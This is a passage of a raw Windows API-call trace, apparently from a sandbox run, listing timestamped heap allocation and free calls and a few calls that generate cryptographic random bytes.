0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514d88 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514cf8 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514c68 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514bd8 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514b48 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514ab8 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514a28 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514998 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514908 [0030.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514878 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5147e8 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514758 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5146c8 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514638 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0030.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0030.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.716] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.717] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.717] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.717] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.717] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.717] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.717] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.718] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.718] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.718] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.719] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.719] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.719] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.720] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.720] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511438 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514488 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: 